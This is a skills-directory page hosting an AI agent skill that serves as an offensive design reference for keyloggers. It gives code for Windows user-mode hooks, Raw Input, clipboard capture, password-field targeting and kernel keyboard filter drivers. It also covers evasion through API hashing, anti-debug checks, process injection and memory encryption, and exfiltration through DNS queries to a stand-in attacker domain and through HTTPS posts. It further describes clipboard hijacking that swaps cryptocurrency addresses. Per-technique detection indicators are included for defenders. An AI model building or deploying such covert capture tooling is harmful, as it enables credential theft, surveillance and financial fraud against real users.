Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Redteam Keylogger?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-redteam-keylogger)
---
name: redteam-keylogger
description: >
Input capture architecture for offensive security research and red team engagements.
Covers Windows user-mode hooks (SetWindowsHookEx WH_KEYBOARD_LL, WH_KEYBOARD, Raw Input API,
GetAsyncKeyState polling, DirectInput, Accessibility/UI Automation, clipboard monitoring),
kernel-mode capture (keyboard class driver filters, IRP interception, minifilters, KMDF/WDM),
ETW-based telemetry capture (USB-UCX, Win32k providers), cross-platform methods (Linux evdev,
macOS CGEventTap, Android Accessibility, iOS keyboard extensions), stealth and evasion
(in-memory operation, process injection, API hashing, encrypted buffers, sleep-time encryption),
exfiltration channels (DNS, HTTPS, SMTP, cloud storage, steganography), anti-detection patterns,
and per-technique IOC analysis for purple team awareness. Use when designing input capture
mechanisms, researching malware architecture, or analyzing keylogger tradecraft.
keywords:
- keylogger
- keyboard hook
- WH_KEYBOARD_LL
- SetWindowsHookEx
- GetAsyncKeyState
- Raw Input
- ETW input capture
- kernel driver keylogger
- input capture
- keystroke logging
- clipboard monitor
- UI Automation
- kbdclass filter
- CGEventTap
- evdev
- stealth keylogger
- exfiltration
---
# Input Capture Architecture — Offensive Design Reference
Keystroke capture is a foundational capability in offensive tooling. Every approach
trades off between stealth, reliability, privilege requirements, and the forensic
footprint it leaves behind. This reference walks through every major capture
technique across Windows user-mode, kernel-mode, ETW telemetry, and cross-platform
methods, then covers the operational concerns: stealth, exfiltration, evasion, and
the indicators each approach generates.
Every technique documented here is for authorized red team engagements, malware
research, and purple team exercises. The IOC sections exist so operators understand
what defenders can see — and so blue teams know what to hunt.
---
## Quick Workflow
1. Identify the target platform, privilege level, and defensive posture.
2. Select a capture method matched to your access level and stealth requirements.
3. Implement active-window correlation so captured keystrokes have context.
4. Buffer and encrypt captured data in memory before any disk or network operation.
5. Exfiltrate through a channel appropriate to the target's network restrictions.
6. Validate your IOC footprint against the defender's likely detection stack.
---
## 1. WINDOWS USER-MODE CAPTURE
### 1.1 SetWindowsHookEx — WH_KEYBOARD_LL (Low-Level Hook)
The most widely deployed technique in commodity and advanced keyloggers alike.
It installs a system-wide hook that intercepts keyboard events before any
application processes them.
**How it works internally:**
The user32.dll `SetWindowsHookEx` function is a thin wrapper over the kernel-mode
`NtUserSetWindowsHookEx` syscall (which internally dispatches to
`zzzzNtUserSetWindowsHookEx` inside `win32k.sys`). The kernel follows a fixed
four-step sequence regardless of hook type:
**Step 1 — Hook record allocation:**
`win32k.sys` creates an internal `HOOK` structure containing the filter type,
the calling module handle, thread and desktop identifiers, and the callback
function pointer. This structure is inserted at the head of the global hook
chain for the requested hook type.
**Step 2 — Injection decision:**
This is where WH_KEYBOARD_LL diverges from other hook types:
| Hook Type | Injection Required | Mechanism |
|-----------|-------------------|-----------|
| WH_KEYBOARD_LL, WH_MOUSE_LL | **No** | Events marshaled to installing process via internal WM_* message to a hidden ghost window |
| WH_KEYBOARD, WH_CBT, WH_GETMESSAGE, etc. | **Yes** | Hook DLL loaded into every matching process via APC + LdrLoadDll on first user-mode return |
For low-level hooks, the hook callback DLL stays in the **installer's address space
only**. The kernel marshals raw `KBDLLHOOKSTRUCT` parameters into an internal
message and posts it to the installing thread's message queue. This means:
- No cross-process DLL injection occurs
- The installing thread **must pump messages** continuously
- If the message pump stalls, **all desktop input blocks** — a major detection signal
For standard WH_KEYBOARD hooks (non-LL), the kernel forces the hook DLL into
every qualifying process. Post-Vista, the target process is added to a pending-load
list inside win32k, and on its first user-mode return from kernel, an APC triggers
`LdrLoadDll` to map the hook DLL. The DLL's `DllMain` executes in the victim's
context.
**Step 3 — Runtime event routing:**
When a key event fires, `win32k` walks the hook chain inside the thread that owns
the input queue:
- If the callback lives in-process (standard hooks after injection): direct call
- If the callback lives in another process (low-level hooks): marshal parameters
into an internal message, post to the installer's queue
**Step 4 — Chain continuation:**
Every hook handler **must** invoke `CallNextHookEx` to pass control down the chain.
This is a re-entry into `win32k` that continues the chain walk. If any handler
fails to call it, the entire chain breaks and downstream handlers never fire —
potentially breaking input for the entire desktop session.
```c
// WH_KEYBOARD_LL implementation pattern
#include <windows.h>
#include <stdio.h>
HHOOK hHook = NULL;
FILE *logFile = NULL;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kbd = (KBDLLHOOKSTRUCT *)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// Log virtual key code with timestamp and foreground window context
DWORD vkCode = kbd->vkCode;
DWORD scanCode = kbd->scanCode;
DWORD flags = kbd->flags;
// ... buffer, encrypt, correlate with active window
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
// Installation: requires a message pump
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
```
**Key architectural notes:**
- Low-level hooks are per-desktop, not per-system — a hook in session 0 cannot
see session 1 keystrokes
- The 300ms timeout: if the hook callback takes too long, Windows skips it and
continues the chain (configurable via `LowLevelHooksTimeout` registry value)
- Thread affinity: the hook callback always runs on the thread that installed it
**IOCs and detection surface:**
- No foreign DLL mapping (advantage over WH_KEYBOARD)
- **Message queue footprint**: the installing thread's hidden ghost window is
visible via EnumWindows or `!hook` in WinDbg
- **Input latency**: if the hook stalls, all desktop input freezes — easily
noticed by users and automated monitors
- ETW: `Microsoft-Windows-Win32k` provider logs hook installation events
- Sysmon Event 12/13: registry modifications if persistence is added
- Memory pattern: `SetWindowsHookExW` import or dynamic resolution via
`GetProcAddress`
---
### 1.2 SetWindowsHookEx — WH_KEYBOARD (Standard Hook)
Unlike WH_KEYBOARD_LL, the standard WH_KEYBOARD hook **requires DLL injection**
into every target process. This provides true in-process execution context but
leaves a much larger forensic footprint.
**Injection mechanism:**
- The hook DLL must be a separate file on disk (or in a mapped section)
- win32k queues the DLL for loading into every process on the same desktop
with matching bitness (32-bit DLL hooks 32-bit processes only)
- DllMain runs in the victim's address space — full access to that process
**When to use WH_KEYBOARD over WH_KEYBOARD_LL:**
- When you need to capture keystrokes in the context of a specific application
- When you need access to the target process's memory or state
- When you want to modify keystrokes before they reach the application
**IOCs:**
- DLL mapped into every hooked process — visible in VAD (Virtual Address
Descriptor) enumeration
- DLL must exist on disk or be mapped from a section object
- EDRs can check if the mapped DLL is signed — unsigned DLL in every process
is a strong indicator
- Sysmon Event 7 (Image Loaded) fires for each process that loads the hook DLL
- Cross-process DLL load without `CreateRemoteThread` — unusual pattern
---
### 1.3 Direct Syscall Variants — NtUserSetWindowsHookEx
Calling `NtUserSetWindowsHookEx` directly (via syscall stub or through
`win32u.dll`) bypasses any user-mode hooks placed on `user32!SetWindowsHookEx`
by EDR products. The kernel-side behavior is identical — same hook chain, same
injection logic, same IOCs — but user-mode API monitoring is evaded.
```c
// Direct syscall approach — resolve NtUserSetWindowsHookEx SSN dynamically
// Use Hell's Gate / Halo's Gate to find the syscall number
// Set up: mov r10, rcx; mov eax, SSN; syscall
// Or indirect syscall: JMP to the syscall instruction inside win32u.dll
```
**Advantages:** Bypasses user32.dll inline hooks from EDR
**Limitations:** Identical kernel-side IOCs — ETW events, hook chain entries,
DLL mappings (for non-LL hooks) all still fire
---
### 1.4 Raw Input API — RegisterRawInputDevices
Raw Input provides HID-level keyboard data delivery without installing any hook.
This technique registers a window to receive raw keyboard packets directly from
the input subsystem.
**Architecture:**
1. Create a hidden message-only window (`HWND_MESSAGE` parent)
2. Call `RegisterRawInputDevices` with `RIDEV_INPUTSINK` flag — this routes
**all keyboard input** to the window even when it is not in the foreground
3. Pump the message loop, handling `WM_INPUT` messages
4. Extract keystroke data from `RAWKEYBOARD` structures via `GetRawInputData`
```c
// Raw Input registration
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hWnd; // message-only window handle
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// In the message loop — handle WM_INPUT
case WM_INPUT: {
UINT size = 0;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &size, sizeof(RAWINPUTHEADER));
RAWINPUT *raw = (RAWINPUT *)malloc(size);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, raw, &size, sizeof(RAWINPUTHEADER));
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
USHORT vKey = raw->data.keyboard.VKey;
USHORT flags = raw->data.keyboard.Flags;
// RI_KEY_MAKE = keydown, RI_KEY_BREAK = keyup
// Buffer and process...
}
free(raw);
break;
}
```
**Advantages over SetWindowsHookEx:**
- No hook chain entry — invisible to `!hook` enumeration in WinDbg
- No cross-process DLL injection
- No message-queue pinning (doesn't block desktop input on stall)
- Not detected by most EDR hook-chain sensors
**Limitations:**
- Requires the process to stay alive with an active message pump
- Cannot capture from other sessions (session isolation applies)
- Registration is per-session, not per-desktop
**Kernel-mode internals:**
When `NtUserRegisterRawInputDevices` executes in win32k:
1. Sets an oplock to prevent race conditions
2. Validates the RAWINPUTDEVICE array parameters
3. Allocates a kernel copy via `Win32AllocPoolWithQuotaZInit`
4. Calls the internal worker to update the per-thread raw-input registration
list and notify `hidclass` which top-level windows want raw HID traffic
5. **Emits an ETW audit event** via `EtwTraceAuditApiRegisterRawInputDevices`
**IOCs — critical:**
- **ETW event from win32kfull.sys** — this is kernel-generated and **cannot be
suppressed from user-mode**. The event payload includes PID, TID, UsagePage,
Usage, and Flags — enough to trivially score "keyboard raw-input from a
non-interactive background process" as suspicious
- The ETW channel is enabled by default and cannot be disabled without kernel
patching — **this is the strongest IOC** for this technique
- Windows Defender reportedly monitors this ETW provider since 20H1
- Session-0 services without a desktop cannot use this path — they must either
create a hidden desktop (logged by Object Manager auditing) or open
`\Device\KeyboardClass0` directly (generates IRP_MJ_READ telemetry)
---
### 1.5 GetAsyncKeyState Polling
The simplest approach — a tight loop that polls every virtual key code for its
current state. No hooks, no registration, no kernel interaction beyond the
syscall itself.
```c
// Polling architecture
while (running) {
for (int vk = 0x01; vk <= 0xFE; vk++) {
SHORT state = GetAsyncKeyState(vk);
if (state & 0x0001) { // Key was pressed since last query
// Log keypress with timestamp
// Correlate with foreground window
}
}
Sleep(10); // 10ms polling interval — balance CPU vs missed keys
}
```
**Advantages:**
- Extremely simple to implement
- No hook chain, no DLL injection, no raw input registration
- No ETW audit event for the registration itself
- Works from any user-mode context
**Limitations:**
- **High CPU usage** — polling 254 keys at high frequency creates a detectable
CPU pattern
- Can miss keys if polling interval is too long
- No scan code or extended key information — only virtual key codes
- Easily detected by behavioral analysis (tight polling loop pattern)
- `GetAsyncKeyState` calls are logged by some EDR products that hook user32
or win32u
**IOCs:**
- Abnormal CPU usage pattern (repetitive high-frequency API calls)
- Behavioral: process with no visible window making thousands of
`GetAsyncKeyState` calls per second
- API monitoring: some EDRs count call frequency per process
**Optimization — reduce footprint:**
- Poll only during active input (check `GetLastInputInfo` first)
- Use longer sleep intervals with burst polling when input detected
- Poll only target virtual key ranges (alphanumeric + special keys)
---
### 1.6 DirectInput / XInput
Microsoft's legacy game input APIs can capture keyboard state without
traditional hook mechanisms.
```c
// DirectInput keyboard capture
IDirectInput8 *di;
IDirectInputDevice8 *keyboard;
DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (void**)&di, NULL);
di->CreateDevice(GUID_SysKeyboard, &keyboard, NULL);
keyboard->SetDataFormat(&c_dfDIKeyboard);
keyboard->SetCooperativeLevel(hWnd, DISCL_BACKGROUND | DISCL_NONEXCLUSIVE);
keyboard->Acquire();
// Polling loop
BYTE keystate[256];
while (running) {
keyboard->GetDeviceState(sizeof(keystate), keystate);
for (int i = 0; i < 256; i++) {
if (keystate[i] & 0x80) {
// Key i is currently pressed (DirectInput scan codes)
}
}
Sleep(10);
}
```
**Advantages:** Unusual technique — most EDRs don't monitor DirectInput for
keylogging. Legitimate in game contexts.
**Limitations:** Requires DirectInput8 COM initialization. Performance overhead
similar to GetAsyncKeyState polling. DirectInput is deprecated in favor of
Raw Input on modern Windows.
---
### 1.7 UI Automation / Accessibility APIs
Windows UI Automation framework provides programmatic access to UI elements
including text content. This can capture typed text from any application by
monitoring text change events on focused controls.
```csharp
// C# UI Automation approach
using System.Windows.Automation;
AutomationFocusChangedEventHandler focusHandler = (sender, e) => {
AutomationElement focused = sender as AutomationElement;
if (focused != null) {
TextPattern textPattern;
if (focused.TryGetCurrentPattern(TextPattern.Pattern, out object pattern)) {
textPattern = (TextPattern)pattern;
string text = textPattern.DocumentRange.GetText(-1);
// Log text content of focused element
}
}
};
Automation.AddAutomationFocusChangedEventHandler(focusHandler);
// Also monitor text change events
Automation.AddAutomationEventHandler(
TextPattern.TextChangedEvent,
AutomationElement.RootElement,
TreeScope.Descendants,
(sender, e) => {
// Text changed in a UI element — capture new content
}
);
```
**Advantages:**
- Captures complete text content, not individual keystrokes
- Can target specific application controls (password fields, search boxes)
- Legitimate API — accessibility tools use it normally
- No hooks, no polling, no raw input registration
**Limitations:**
- Not all applications expose UI Automation patterns
- Requires the target application to implement accessibility interfaces
- Higher-level capture — misses keyboard shortcuts and non-text input
- Some password fields explicitly block text retrieval via UIA
**IOCs:**
- UIA client registration (CUIAutomation COM object creation)
- Cross-process UIA queries (unusual for non-accessibility software)
- Event subscription on TextChangedEvent across all descendants
---
### 1.8 Clipboard Monitoring
Captures copy/paste operations — often contains passwords, tokens, and
sensitive data that users transfer between applications.
```c
// Modern approach: AddClipboardFormatListener (Win Vista+)
AddClipboardFormatListener(hWnd);
// In window procedure
case WM_CLIPBOARDUPDATE: {
if (OpenClipboard(hWnd)) {
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
if (hData) {
wchar_t *text = (wchar_t *)GlobalLock(hData);
if (text) {
// Log clipboard content with timestamp and source window
GlobalUnlock(hData);
}
}
CloseClipboard();
}
break;
}
// Legacy approach: SetClipboardViewer chain
// Less reliable — chain breaks if any viewer doesn't forward WM_DRAWCLIPBOARD
```
**Advantages:** Captures passwords copied from password managers, MFA codes,
API keys, and any text the user copies.
**IOCs:** `AddClipboardFormatListener` API call, WM_CLIPBOARDUPDATE handler
in a background process.
---
### 1.9 WM_CHAR / WM_KEYDOWN Message Interception
Subclass a specific window's procedure to intercept keyboard messages directed
to it. Targeted capture within a single application.
```c
// Subclass a specific window to capture its keyboard messages
WNDPROC originalProc;
LRESULT CALLBACK SubclassProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == WM_CHAR || msg == WM_KEYDOWN) {
// Capture the keystroke directed to this window
// WM_CHAR gives the translated character
// WM_KEYDOWN gives the virtual key code
}
return CallWindowProc(originalProc, hWnd, msg, wParam, lParam);
}
// Install: SetWindowLongPtr(targetHwnd, GWLP_WNDPROC, (LONG_PTR)SubclassProc);
```
**Use case:** Targeted capture in a specific application (browser password field,
terminal emulator, etc.) after process injection.
---
## 2. WINDOWS KERNEL-MODE CAPTURE
Kernel-mode techniques require administrator/SYSTEM privileges and a loaded
driver. They operate below user-mode defenses but have significant development
complexity and driver signing requirements.
### 2.1 Keyboard Class Driver Filter
Attach a filter driver above or below `kbdclass.sys` in the keyboard device
stack. All keyboard I/O passes through the filter.
```
Device Stack (top to bottom):
[Your Filter Driver] ← intercept here
[kbdclass.sys] ← keyboard class driver
[i8042prt.sys / kbdhid.sys] ← port/HID driver
[Hardware]
```
**Implementation approach (KMDF):**
```c
// KMDF filter driver skeleton
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
WDF_DRIVER_CONFIG config;
WDF_DRIVER_CONFIG_INIT(&config, EvtDeviceAdd);
return WdfDriverCreate(DriverObject, RegistryPath, NULL, &config, NULL);
}
NTSTATUS EvtDeviceAdd(WDFDRIVER Driver, PWDFDEVICE_INIT DeviceInit) {
// Mark as filter
WdfFdoInitSetFilter(DeviceInit);
// Create device
WdfDeviceCreate(&DeviceInit, NULL, &device);
// Set up I/O queue to intercept read completions
WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&queueConfig, WdfIoQueueDispatchParallel);
queueConfig.EvtIoInternalDeviceControl = EvtIoInternalDeviceControl;
WdfIoQueueCreate(device, &queueConfig, NULL, &queue);
return STATUS_SUCCESS;
}
VOID EvtIoInternalDeviceControl(WDFQUEUE Queue, WDFREQUEST Request, ...) {
// Intercept IOCTL_INTERNAL_KEYBOARD_CONNECT
// Set completion routine on IRP_MJ_READ to capture keystroke data
// Forward request down the stack
WdfRequestFormatRequestUsingCurrentType(Request);
WdfRequestSetCompletionRoutine(Request, ReadCompletionRoutine, NULL);
WdfRequestSend(Request, WdfDeviceGetIoTarget(device), NULL);
}
VOID ReadCompletionRoutine(WDFREQUEST Request, WDFIOTARGET Target, ...) {
// Extract KEYBOARD_INPUT_DATA from the completed IRP
PKEYBOARD_INPUT_DATA keyData = ...;
// keyData->MakeCode = scan code
// keyData->Flags = KEY_MAKE or KEY_BREAK
// Log the keystroke...
WdfRequestComplete(Request, status);
}
```
**Advantages:**
- Captures all keyboard input at the driver level — below any user-mode defense
- Cannot be bypassed by user-mode techniques
- No user-mode hooks, no message pumps, no process affinity
- Invisible to user-mode hook enumeration tools
**Limitations:**
- Requires a signed driver (EV certificate or test-signing mode)
- Or BYOVD (Bring Your Own Vulnerable Driver) to load unsigned
- Complex development — kernel bugs cause BSOD
- Driver load events are logged (Sysmon Event 6)
**IOCs:**
- Driver load event (Sysmon Event 6, Security Event 4697)
- New device in keyboard stack (visible via `!devstack` in WinDbg)
- Unsigned or test-signed driver in production environment
- Filter driver attached to `\Device\KeyboardClass0`
---
### 2.2 IRP Hooking in Keyboard Stack
Instead of a proper filter driver, hook the IRP dispatch table of `kbdclass.sys`
directly. This avoids creating a new device object in the stack.
```c
// Locate kbdclass driver object
PDRIVER_OBJECT kbdDriver;
ObReferenceObjectByName(&kbdDriverName, OBJ_CASE_INSENSITIVE, NULL,
0, *IoDriverObjectType, KernelMode, NULL, (PVOID *)&kbdDriver);
// Save original IRP_MJ_READ handler
originalReadHandler = kbdDriver->MajorFunction[IRP_MJ_READ];
// Replace with our handler
kbdDriver->MajorFunction[IRP_MJ_READ] = HookedReadHandler;
// In HookedReadHandler:
// Set completion routine, forward IRP, capture data on completion
```
**Advantages:** No new device object — harder to detect via device stack
enumeration.
**Limitations:** Modifying another driver's dispatch table is fragile and
detected by PatchGuard (KPP) on 64-bit Windows. Only viable on 32-bit or
with PatchGuard bypass.
---
### 2.3 Kernel Callback Registration
Register a keyboard notification callback via `IoRegisterDeviceInterface`
or similar kernel notification mechanisms to receive keyboard events without
modifying the device stack.
---
### 2.4 KMDF vs WDM Comparison
| Aspect | KMDF | WDM |
|--------|------|-----|
| Development complexity | Lower — framework handles IRP lifecycle | Higher — manual IRP management |
| Stability | Better — framework prevents common bugs | More crash-prone |
| Flexibility | Slightly constrained by framework | Full control |
| Filter driver support | Built-in `WdfFdoInitSetFilter` | Manual device attach |
| Recommended for | New development | Legacy/compatibility |
---
## 3. ETW-BASED INPUT CAPTURE
Event Tracing for Windows provides telemetry streams that include input events.
Instead of hooking or filtering, consume ETW events passively.
### 3.1 Microsoft-Windows-USB-UCX Provider
Captures USB keyboard HID reports at the USB controller level — before they
reach the keyboard class driver.
```c
// ETW consumer for USB keyboard events
// Provider GUID: {36da592d-e43a-4e28-af6f-4bc57c5a11e8}
// Subscribe to events containing USB HID keyboard reports
// Parse HID usage tables to extract key codes from raw HID packets
```
**Advantages:**
- No hooks, no driver, no raw input registration
- Passive telemetry consumption — minimal footprint
- Captures pre-processed HID data
**Limitations:**
- Only captures USB keyboards (not PS/2, not virtual keyboards)
- Requires parsing raw HID reports (USB HID Usage Tables specification)
- Requires admin privileges to consume kernel ETW providers
- Some EDRs also consume these providers — dual consumption is detectable
### 3.2 Microsoft-Windows-Win32k Provider
The Win32k subsystem emits ETW events for input processing, including keyboard
events routed through the input manager.
**Advantages:** Covers all keyboard types (USB, PS/2, virtual, RDP)
**Limitations:** High event volume, requires careful filtering. Admin required.
### 3.3 Custom ETW Consumer Architecture
```c
// Real-time ETW consumer pattern
EVENT_TRACE_PROPERTIES props = {0};
// Configure for REAL_TIME_MODE
// OpenTrace() with the provider
// ProcessTrace() with callback
// In the event callback:
// Filter for keyboard-related events
// Extract scan codes from event data
// Buffer and process
```
**Key advantage of ETW-based capture:**
No hooks installed. No injection. No raw input registration. No filter driver.
The process simply reads from an existing telemetry stream. The main IOC is
the ETW session itself — but many legitimate processes consume ETW.
---
## 4. ACTIVE WINDOW CORRELATION
Raw keystrokes without context are mostly useless. Correlating keystrokes with
the active foreground window reveals what application the user was typing in —
critical for identifying password entries, banking sessions, and sensitive
communications.
### 4.1 GetForegroundWindow + GetWindowText
```c
// Standard approach
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Also get process name:
DWORD pid;
GetWindowThreadProcessId(fg, &pid);
HANDLE proc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
char exePath[MAX_PATH];
GetModuleFileNameExA(proc, NULL, exePath, MAX_PATH);
```
**IOC concern:** `GetWindowTextA` is heavily signatured in keylogger detection.
Every basic keylogger uses it.
### 4.2 NtUserInternalGetWindowText (Low-Level)
Direct syscall equivalent with identical behavior but bypasses user32.dll hooks:
```c
// win32u.dll export — much less monitored
// Same signature as GetWindowTextW
// Defined in win32kfull.sys, exposed via win32u.dll
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, int);
pNtUserInternalGetWindowText fn = (pNtUserInternalGetWindowText)
GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
wchar_t title[256];
fn(GetForegroundWindow(), title, 256);
// Can also be called via direct syscall / *Gate techniques
```
**Advantage:** Far less detected than GetWindowTextA — most EDR signatures
target the user32 wrapper, not the win32u syscall.
### 4.3 ConsoleSessionForegroundProcessId
The `KUSER_SHARED_DATA` structure (mapped at a fixed user-mode address) contains
`ConsoleSessionForegroundProcessId` — the PID of the current foreground process.
Reading this avoids any API call entirely.
```c
// Read directly from shared data page (no API call)
// KUSER_SHARED_DATA is at 0x7FFE0000 (user-mode) on all Windows versions
DWORD fgPid = *(DWORD*)(0x7FFE0000 + 0x2EC); // offset varies by version
// Then resolve the PID to a window handle and title
```
**Advantage:** No API call to monitor — purely a memory read from a shared page.
**Limitation:** Only gives PID, not window title — still need a secondary call.
---
## 5. STEALTH AND EVASION TECHNIQUES
### 5.1 In-Memory-Only Operation
Never write captured data to disk. Buffer everything in encrypted memory
regions and exfiltrate directly from memory.
```c
// Encrypted circular buffer in process heap
typedef struct {
BYTE *buffer; // AES-encrypted keystroke buffer
size_t capacity;
size_t writePos;
BYTE key[32]; // AES-256 key derived from environment
BYTE iv[16]; // Rotating IV
} SecureBuffer;
// Initialize with random key (or derived from machine-specific data)
// All writes encrypt before storing
// Periodic flush to exfiltration channel, then zero the buffer
```
### 5.2 Process Injection for Concealment
Inject the keylogger into a legitimate long-running process to avoid a
suspicious standalone process.
**Preferred targets:** `explorer.exe`, `svchost.exe`, `RuntimeBroker.exe`,
`taskhostw.exe` — processes that normally run for the duration of a session
and have legitimate reasons to access input APIs.
**Injection methods:**
- Reflective DLL injection (no disk artifact)
- Thread execution hijacking (no new thread creation)
- APC injection into alertable thread
- Module stomping (overwrite legitimate DLL's .text section)
- Callback execution (EnumWindows, CreateTimerQueueTimer)
### 5.3 Thread Pool Execution
Instead of creating a suspicious new thread, queue work items to the process's
existing thread pool:
```c
// Use TpAllocWork + TpPostWork to execute on existing threads
// No CreateThread, no new thread ID — blends with existing thread activity
PTP_WORK work = NULL;
TpAllocWork(&work, KeyloggerWorkCallback, NULL, NULL);
TpPostWork(work);
// Callback runs on a pool thread — no new thread creation event
```
### 5.4 API Hashing for Import Table OPSEC
Resolve all sensitive APIs at runtime via hash lookup to avoid suspicious
import table entries:
```c
// djb2 hash-based API resolution
#define HASH_SetWindowsHookExW 0x8A3C1B92
#define HASH_GetAsyncKeyState 0x4F2E8D71
// ...
FARPROC ResolveAPI(HMODULE module, DWORD hash) {
// Walk export table, hash each name, compare
// Return function pointer on match
}
// At runtime:
typedef HHOOK (WINAPI *pSetWindowsHookExW)(int, HOOKPROC, HINSTANCE, DWORD);
pSetWindowsHookExW fnHook = (pSetWindowsHookExW)
ResolveAPI(GetModuleHandleA("user32.dll"), HASH_SetWindowsHookExW);
```
### 5.5 Encrypted Buffer with Periodic Flush
Buffer keystrokes in an AES-encrypted memory region. Flush to the exfiltration
channel at timed intervals (e.g., every 5 minutes) or when the buffer reaches
a size threshold. After each flush, securely zero the buffer.
### 5.6 Timestamp Correlation
Tag each keystroke with a millisecond timestamp and the foreground window title.
This contextualizes the capture: "user typed 'Password123' in the Chrome window
titled 'Gmail - Login'" is actionable; a raw stream of characters is not.
### 5.7 Memory Encryption During Sleep
Between active capture periods, encrypt the entire working memory of the
keylogger (keystroke buffers, configuration, keys) using a technique like
Ekko or Ziliean. If a memory scanner runs during idle time, it finds only
encrypted noise.
---
## 6. EXFILTRATION CHANNELS
### 6.1 Local Encrypted Log
Simplest approach. Write AES-encrypted log to a hidden location. Retrieve
during post-exploitation or via C2 download task.
```
Location options:
- NTFS Alternate Data Stream: C:\legit.txt:hidden.dat
- Hidden file in temp: C:\Windows\Temp\.cache\data.tmp
- AppData subdirectory mimicking legitimate software
```
### 6.2 DNS Exfiltration
Encode keystrokes in DNS subdomain queries. Each query carries a small
payload. Slow but extremely hard to block (port 53 is almost always open).
```
Encoding: keystrokes → buffer → AES encrypt → base32 encode → chunk
Query: <chunk>.<sequence>.<session-id>.exfil.attacker.com
Type: A or TXT record query
Reassembly: DNS server logs all queries, strips subdomain, reorder by
sequence number, base32 decode, AES decrypt.
Rate: ~180 bytes per query label (253 max domain length)
Throughput: ~50-100 bytes/second at typical query rate
```
### 6.3 HTTPS POST Exfiltration
Send encrypted keystroke buffers as HTTPS POST requests to a controlled endpoint.
Mimics legitimate API traffic.
```
POST https://api.legitimate-looking-domain.com/v2/telemetry
Content-Type: application/json
Authorization: Bearer <session-token>
{"data": "<base64-encoded-AES-encrypted-keystroke-buffer>"}
```
### 6.4 SMTP Exfiltration
Send captured data as email via SMTP with STARTTLS. Use a compromised or
disposable email account.
### 6.5 Cloud Storage Dead Drop
Upload encrypted keystroke logs to cloud storage (S3 presigned URLs, Azure
Blob SAS tokens, Google Drive API). Retrieve from a separate session.
### 6.6 Steganographic Embedding
Embed encrypted keystroke data in image files using LSB steganography. Upload
images to legitimate image hosting or social media. Retrieve and extract
from another location.
### 6.7 Clipboard Hijacking (Dual Purpose)
Monitor clipboard for cryptocurrency addresses. When detected, replace with
the operator's address. Combines capture with active exploitation.
---
## 7. ANTI-DETECTION AND EVASION PATTERNS
### 7.1 Dynamic API Resolution
Never statically import suspicious functions. Resolve everything at runtime
via `GetProcAddress` or hash-based resolution. This keeps the PE import table
clean of indicators like `SetWindowsHookExW`, `GetAsyncKeyState`,
`RegisterRawInputDevices`.
### 7.2 String Encryption
All indicator strings (API names, file paths, registry keys, C2 URLs) are
encrypted at compile time and decrypted only at the point of use. Immediately
re-encrypt or zero after use.
```c
// Compile-time XOR string encryption with per-string random key
// Decrypt at runtime: for each byte, XOR with key[i % key_len]
// Zero the decrypted buffer after the API call completes
```
### 7.3 Anti-Debug Checks
Verify no debugger is attached before activating capture:
```c
// User-mode checks
if (IsDebuggerPresent()) return;
if (NtQueryInformationProcess(ProcessDebugPort)) return;
// Timing check: RDTSC before and after — large delta = debugger stepping
// PEB.BeingDebugged flag check via direct PEB read
// NtQueryInformationProcess with ProcessDebugObjectHandle
// Check for common debugger process names
```
### 7.4 Process Whitelisting
Only activate capture when the foreground application matches a target list
(web browsers, email clients, terminal emulators). This reduces data volume
and limits IOC generation to periods of active interest.
### 7.5 Selective Capture — Password Fields Only
Use UI Automation to detect password input fields (`IsPassword` property).
Only activate keystroke capture when a password field has focus. Dramatically
reduces data volume and captures only high-value credentials.
### 7.6 Memory Encryption During Idle
Encrypt the keylogger's working memory between capture bursts using
`SystemFunction032` (RC4) or custom AES encryption. Memory scanners see only
encrypted data during idle periods.
---
## 8. IOC ANALYSIS — PER-TECHNIQUE SUMMARY
| Technique | Privilege | Hooks Chain | DLL Injection | ETW Event | CPU Pattern | Strongest IOC |
|-----------|-----------|-------------|---------------|-----------|-------------|---------------|
| WH_KEYBOARD_LL | User | Yes (ghost window) | No | Win32k hook event | Low | Message queue pinning, input latency |
| WH_KEYBOARD | User | Yes + DLL mapped | Yes (every process) | Win32k hook + DLL load | Low | Foreign DLL in all processes |
| Direct syscall hook | User | Yes (ghost window) | Depends on type | Same as above | Low | Same kernel-side IOCs |
| Raw Input | User | No | No | **Kernel ETW (unavoidable)** | Low | ETW audit event from win32kfull |
| GetAsyncKeyState | User | No | No | No | **High** | Polling CPU pattern |
| DirectInput | User | No | No | No | Medium | COM initialization + polling |
| UI Automation | User | No | No | UIA events | Low | Cross-process UIA queries |
| Clipboard | User | No | No | No | Minimal | Clipboard listener registration |
| Kernel filter | Admin | No | No | Driver load | None | Driver in keyboard stack |
| IRP hook | Admin | No | No | No (if stealthy) | None | Dispatch table modification |
| ETW consumer | Admin | No | No | Session creation | Minimal | ETW session ownership |
---
